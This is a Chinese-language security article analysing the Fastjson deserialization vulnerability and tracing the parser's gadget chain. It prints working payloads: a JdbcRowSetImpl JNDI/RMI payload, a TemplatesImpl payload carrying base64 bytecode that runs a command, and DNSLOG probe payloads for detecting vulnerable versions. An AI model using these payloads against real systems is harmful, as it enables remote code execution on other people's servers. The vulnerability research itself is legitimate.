作者:summersec
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
前言
Fastjson這款國內知名的解析json的組件,筆者在此就不多介紹,網絡上有很多分析學習fastjson反序列化漏洞文章。筆者在此以一種全新角度從分析payload構造角度出發,逆向學習分析fastjson反序列化漏洞始末。
ps:漏洞學習環境以代碼均在上傳Github項目。
初窺Payload
下面是一段最簡單Fastjson的版本號反序列化--URLDNS代碼,觀察發現可以提出一個問題@type作用?
import com.alibaba.fastjson.JSON;
public class urldns {
public static void main(String[] args) {
// dnslog平臺網站:http://www.dnslog.cn/
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";
JSON.parse(payload);
}
}
@type的作用
下面是一段實驗代碼,幫助理解分析@type的由來。
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package vul.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Demo {
//TODO 修改pom.xml中的fastjson <= 1.2.24
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("summer");
String str1 = JSONObject.toJSONString(user);
// 轉化的時候加入一個序列化的特征 寫入類名
// feature = 特征
String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
// str2輸入結果會輸出 @type+類名
// 由此可知@type是用于解析JSON時的用于指定類
System.out.println(str1);
System.out.println(str2);
//如果fastjson解析內容時沒有配置,會默認使用缺省配置
// TODO 查看parse方法 可以設置斷點看看不同之處和相同之處
Object parse1 = JSON.parse(str1);
Object parse2 = JSON.parse(str2);
//很明顯的結果不一樣
System.out.println("@type: " + parse1.getClass().getName());
System.out.println("str1's parse1: " + parse1);
System.out.println("@type: " + parse2.getClass().getName());
System.out.println("str2's parse2: " + parse2);
}
}

對比分析一下,只要在JSON序列化的方法加入SerializerFeature.WriteClassName特征字段。序列化出來的結果會在開頭加一個@type字段,值為進行序列化的類名。再將帶有@type字段的序列化數據進行反序列化會得到對應的實例類對象。反序列化可以獲取類對象?有Java基礎的安全人應該會敏感的這里十之八九存在漏洞。
ps: 下面是一段驗證代碼
public class Vuldemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";
Object ob = JSON.parse(payload);
System.out.println("反序列化后類對象: " + ob.getClass().getName());
System.out.println("反序列化結果: " + ob);
}
}

漏洞分析
RCE's payload
第一種payload是使用com.sun.rowset.JdbcRowSetImpl類,第二種是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。第二種之前在漫談Commons-Collections反序列化討論分析過,這里不再重復著重討論分析第一種payload。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
再窺Payload
觀察發現這個payload由三部分組成,@type、dataSourceName、autoCommint。第一個@type前面已經提及了是獲取實例化類,dataSourceName和autoCommit我們看看官方文檔。
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";
大致意思:使用該方法的名稱綁定到JNDI命名服務中的DataSource對象上,應用程序就可以使用該名稱進行查找,檢索綁定到它的DataSource對象。
設置AutoCommit后,會自動提交內容。設置這個屬性之后,JNDI找到對應資源,對自動提交內容,讀者后期可以試試刪除這個屬性是不會觸發漏洞的。
知道上面這些特性后,根據特點構造等價代碼
國外介紹JdbcRowSet 使用方法的一個小案例,可以參考一下。
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}
漏洞成因分析
JSON#parse()方法會調用DefaultJSONParser#parse(),在實例化DefaultJSONParser類是會將輸入數據使用實例化JSONScanner類傳入,并同時傳入默認缺省配置features。
這個 lexer 屬性實際上是在 DefaultJSONParser 對象被實例化的時候創建的。
DefaultJSONParser在實例化時會讀取當前字符ch={,所以lexer.token()=12。

跳轉12會創建JSONObject類對象,然后再調用 DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法去解析。
DefaultJSONParser#parseObject前面會做一個簡單判斷lexer.token(),然后讀取字符判斷是否ch=='"',TRUE就獲取其中的字段的值@type并緊接著判斷key == JSON.DEFAULT_TYPE_KEY相等。
接下去進入反序列化階段deserializer#deserialze()-->parseRest()-->fieldDeser#setValue-->一系列反射調用-->JdbcRowSetImpl#setAutoCommit()觸發漏洞。
最后得到Gadget chain如下
/**
* Gadget chain:
* JSON.parse()
* DefaultJSONParser.parse()
* DefaultJSONParser.parseObject()
* JavaBeanDeserializer.deserialze()
* JavaBeanDeserializer.parseRest()
* FieldDeserializer.setValue()
* Reflect.invoke()
* JdbcRowSetImpl.setAutoCommit()
*
*/

DNSLOG的一個小點
實戰挖掘fastjson漏洞的時候比較常用的方法,探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。但是本人在本地環境測試的時候發現了幾個不同點,fastjson的版本不同,不同的payload成功概率是不同的。至于為什么是這樣子,可以參考一下這篇通過dnslog探測fastjson的幾種方法。
// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
參考
http://www.b1ue.cn/archives/184.html
http://www.herongyang.com/JDBC/MySQL-JdbcRowSet-DataSource.html
https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html
http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
https://www.freebuf.com/news/232758.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1318/
暫無評論